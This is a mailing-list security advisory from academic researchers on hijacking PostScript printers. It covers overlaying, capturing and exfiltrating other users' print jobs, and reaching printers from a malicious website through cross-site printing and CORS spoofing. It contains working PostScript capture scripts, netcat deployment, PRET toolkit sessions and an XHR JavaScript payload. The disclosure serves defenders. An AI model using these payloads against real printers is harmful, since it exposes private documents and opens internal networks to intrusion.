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By Date By Thread Hacking Printers Advisory 1/6: PostScript printers vulnerable to print job capture From: Jens Müller <jens.a.mueller () rub de>

Date: Mon, 30 Jan 2017 13:37:51 +0100

TL;DR: In the scope of academic research on printer security, various vulnerabilities in network printers and MFPs have been discovered. This is advisory 1 of 6 of the `Hacking Printers' series. Each advisory discusses multiple issues of the same category. This post is about manipulating and obtaining documents printed by other users, which can be accomplished by infecting the printer with PostScript malware. This vulnerability has presumably been present in *every PostScript printer* since 32 years as solely legitimate PostScript language constructs are abused. The attack can be performed by anyone who can print, for example through USB or network. It can even be carried out by a malicious website, using advanced cross-site printing techniques in combination with a novel technique we call `CORS spoofing' (see `Cross-Site Printing and CORS Spoofing' section). ==============[ Print Job Manipulation and Disclosure ]=============== -------------------------[ Affected Devices ]------------------------- Various printers are likely to be affected as the vulnerability is based on PostScript, a generic language supported by most laser printers (except for Brother based devices which use an incompatible PostScript clone named `Br-Script'). The vulnerability has been verfied for the devices listed below: - HP LaserJet 1200 (Firmware version: M.22.09) - HP LaserJet 4200N (Firmware version: 20050602) - HP LaserJet 4250N (Firmware version: 20150130) - HP LaserJet P2015dn (Firmware version: 20070221) - HP LaserJet M2727nfs (Firmware version: 20140702) - HP LaserJet 3392 AiO (Firmware version: 20120925) - HP Color LaserJet CP1515n (Firmware version: 20120110) - Lexmark X264dn (Firmware version: NR.APS.N645) - Lexmark E360dn (Firmware version: NR.APS.N645) - Lexmark C736dn (Firmware version: NR.APS.N644) - Dell 5130cdn (Firmware version: 201402240935) - Dell 1720n (Firmware version: NM.NA.N099) - Dell 3110cn (Firmware version: 200707111148) Vendors informed: 2016-10-17 --------------------[ Vulnerability Description ]--------------------- By redefining, the `showpage' operator which is contained in every PostScript document to print the current page, an attacker can hook in there and execute her our own PostScript code. Long term redefinition (until the device is restarted) is possible by prepending the `startjob'/`exitserver' operators. This PostScript feature allows an attacker to overlay all pages to be printed with a custom EPS file. It can be used to play pranks like putting `hax0r slogans' on all sheets – but also for legitimate tasks such as creating letterheads. Obviously, such an approach can only be successful if PostScript is used as printer driver. Example code is given below. ---------------------------------------------------------------------- %! %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% DRAW A SMILEY ON ALL FURTHER PRINT JOBS %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% serverdict begin 0 exitserver currentdict /showpage_real known false eq {/showpage_real systemdict /showpage get def} if /showpage {save /showpage {} bind def [... put arbitrary EPS file here ...] restore showpage_real} def ---------------------------------------------------------------------- With the capability to hook into arbitrary PostScript operators it is possible to manipulate and access foreign print jobs. To parse the actual datastream send to the printer, incoming documents can be read line-by-line by accessing the PostScript %lineedit special file and saved into permanent dictionaries which can later be accessed by the attacker. To hook into at the very start of a document to be captured, the `BeginPage' system parameter can be abused, which is executed at the beginning of every PostScript job. In our proof-of-concept version however, the attack is still dependend on a fixed structure for the first PostScript operators as provived by CUPS. Example code to capture arbitrary documents printed with CUPS (using the PostScript printer) driver is shown below. It can be deployed to the printer using netcat (`nc printer 9100'). Note that the stored document will not be printed anymore. A more advanced version which overcomes this drawback has been implemented in the PRET software (see `Proof of concept' section). ---------------------------------------------------------------------- %! %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% CAPTURE FURTHER PRINT JOBS %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% serverdict begin 0 exitserver /permanent {/currentfile {serverdict begin 0 exitserver} def} def permanent /filter { /strcat {exch dup length 2 index length add string dup dup 4 2 roll copy length 4 -1 roll putinterval} def /rndname (job_) rand 16 string cvs strcat (.ps) strcat def %-------------------------------------------------------------- false echo % no interpreter slowdown /newjob true def % make sure to set new job currentdict /currentfile undef % reset hooked operator /max 40000 def % maximum dict/array size /slots max array def % (re-)define slots array /counter 2 dict def % slot and line counter counter (slot) 0 put % initialize slot counter counter (line) 0 put % initialize line counter (capturedict) where {pop} % print jobs are saved here {/capturedict max dict def} ifelse % define capture dictionary capturedict rndname slots put % assign slots to jobname /slotnum {counter (slot) get} def % get current slot counter /linenum {counter (line) get} def % get current line counter %-------------------------------------------------------------- /capture { linenum 0 eq { % start of current slot /lines max array def % (re-)define lines array slots slotnum lines put % assign to current slot } if dup lines exch linenum exch put % add current to lines counter (line) linenum 1 add put % increment linecounter linenum max eq { % slotsize limit reached counter (slot) linenum 1 add put % increment slotcounter counter (line) 0 put % reset line counter } if } def % - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - { newjob {(%!

currentfile /ASCII85Decode filter ) capture pop /newjob false def} if (%lineedit) (r) file dup bytesavailable string readstring pop capture pop } loop } def ---------------------------------------------------------------------- After a while, the attacker can come back and list captured jobs: ---------------------------------------------------------------------- %! %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% LIST CAPTURED PRINT JOBS %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% (capturedict) where {(Captured jobs:

) print capturedict {exch ==} forall}{(No jobs captured) print} ifelse flush ---------------------------------------------------------------------- The captured PostScript file (randomly) named 'job_16807.ps' can be downloaded by the attacker like this: ---------------------------------------------------------------------- %! %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% FETCH CAPTURED PRINT JOBS %%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% /str 65535 string def capturedict /job_16807.ps get {dup null ne {{dup null ne {str cvs print} if} forall} if} forall flush ---------------------------------------------------------------------- These are actually not security bugs in the printers nor in CUPS but legitimate features of the PostScript language. However the impact is especially relevant to printing devices. -------------------------[ Proof of Concept ]------------------------- A Python based proof of concept software entitled Printer Exploitation Toolkit (PRET) has been published. The attack to manipulate foreign print jobs can be reproduced as follows: $ git clone https://github.com/RUB-NDS/PRET.git $ cd PRET $ ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> overlay overlays/smiley.eps printer:/> exit Now, print an arbitrary document using PostScript as printer driver (make sure PRET is disconnected to not block the printing channel). You should see a smiley overlayed on every page. To capture print jobs, use PRET like this: $ ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> capture Print job operations: capture <operation> capture start - Record future print jobs. capture stop - End capturing print jobs. capture list - Show captured print jobs. capture fetch - Save captured print jobs. capture print - Reprint saved print jobs. printer:/> capture start Future print jobs will be captured in memory! printer:/> exit Now, print arbitrary documents with CUPS using PostScript as printer driver (again, make sure PRET is disconnected to not block the printing channel). Afterwards, you can list, fetch or reprint captured documents: $ ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> capture list Free virtual memory: 16.6M | Limit to capture: 5.0M date size user jobname creator ─────────────────────────────────────────────────────────────────────────────── Jan 25 18:38 3.1M - - - Jan 25 18:40 170K - - - printer:/> capture fetch Receiving capture/printer/690782792 3239748 bytes received. Receiving capture/printer/690646210 174037 bytes received. printer:/> capture print printing... printing... 2 jobs reprinted printer:/> capture stop Stopping job capture, deleting recorded jobs -----------------------[ Further Information ]------------------------ Information on this bug/feature of PostScript can be found at: http://hacking-printers.net/wiki/index.php/Print_job_manipulation http://hacking-printers.net/wiki/index.php/Print_job_retention ==============[ Cross-Site Printing and CORS Spoofing ]=============== As mentioned, this attack can even be performed by a malicious web site using advanced cross-site printing techniques in combination with a novel technique we call `CORS spoofing'. The idea of this technique is discussed below. Cross-site printing (XSP) attacks empower a web attacker to access the printer device as demonstrated by Aaron Weaver who used a hidden Iframe to send HTTP POST requests to port 9100/tcp of a printer within the victim's internal network. The HTTP header is either printed as plain text or discarded based on the printer's settings. The POST data however can contain arbitrary print jobs like PostScript or PJL commands to be interpreted. In the following, the idea of cross-site printing is adapted and improved which enables a web attacker to perform most attacks described in wiki obtaining captured print jobs, using the victim's web browser acts as a carrier. Instead of Iframes, we use XMLHttpRequest (XHR) JavaScript objects to perform HTTP POST requests to internal printers. A limitation of the cross-site printing approach discussed so far is that data can only be send to the device, not received because of the same-origin policy. This opts out all information disclosure attacks. To bend the restrictions of the same-origin policy, cross-origin resource sharing (CORS) can be used – if the web server explicitly allows it by sending a special HTTP header field. In the scenario of cross-site printing, however, we have full control of what the requested `web server' – which actually is a printer RIP accessed over port 9100/tcp – sends back to the browser. By using PostScript output commands we can simply emulate an HTTP server running on port 9100/tcp and define our own HTTP header to be responded – including arbitrary CORS Access-Control-Allow-Origin fields which instruct the web browser to allow JavaScript access to this resource and therefore punch a hole into the same-origin policy. In such an enhanced variant of XSP – combined with CORS spoofing – a web attacker has full access to the HTTP response which allows her to extract arbitrary information like captured print jobs from the printer device. An example JavaScript snipplet is shown below. ---------------------------------------------------------------------- job = "\x1B%-12345X\r

" + "%!\r

" + "(HTTP/1.0 200 OK\

) print\r

" + "(Server: PostScript HTTPD\

) print\r

" + "(Access-Control-Allow-Origin: *\

) print\r

" + "(Connection: close\

) print\r

" + "(Content-Length: ) print\r

" + "product dup length dup string cvs print\r

" + "(\

\

) print\r

" + "print\r

" + "(\

) print flush\r

" + "\x1B%-12345X\r

"; var x = new XMLHttpRequest(); x.open("POST", "http://printer:9100"); x.send(job); x.onreadystatechange = function() { if (x.readyState == 4) alert(x.responseText); }; ---------------------------------------------------------------------- One major problem of XSP is to find out the correct address or hostname of the printer. Our approach is to abuse WebRTC which is implemented in most modern browsers and has the feature to enumerate IP addresses for local network interfaces. Given the local IP address, XHR objects are further used to open connections to port 9100/tcp for all 253 remaining addresses to retrieve the printer product name using PostScript and CORS spoofing which only takes seconds in our tests. If the printer is on the same subnet as the victim's host its address can be detected solely using JavaScript. WebRTC is in development for Safari and supported by current versions of Firefox, Chrome and Edge. Internet Explorer has no WebRTC support, but VBScript and Java can likewise be used to leak the local IP address. If the address of the local interface cannot be retrieved, we apply an intelligent brute-force approach: We try to connect to port 80 of the victim's router using XHR objects. For this, a list of 115 default router addresses from various Internet-accessible resources was compiled. If a router is accessible, we scan the subnet for printers as described before. -------------------------[ Proof of Concept ]------------------------- A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at http://hacking-printers.net/xsp/. It was successfully tested on Firefox 48, Chrome 52, Opera 39 and Internet Explorer 10. It is worth noting that the Tor Browser blocks the attack because it tries to connect to all addresses – including local ones – through the Tor network meaning XSP requests never reach the intranet printer -----------------------[ Further Information ]------------------------ Information on cross-site printing can be found at: http://hacking-printers.net/wiki/index.php/Cross-site_printing https://helpnetsecurity.com/dl/articles/CrossSitePrinting.pdf _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: Hacking Printers Advisory 1/6: PostScript printers vulnerable to print job capture Jens Müller (Jan 30)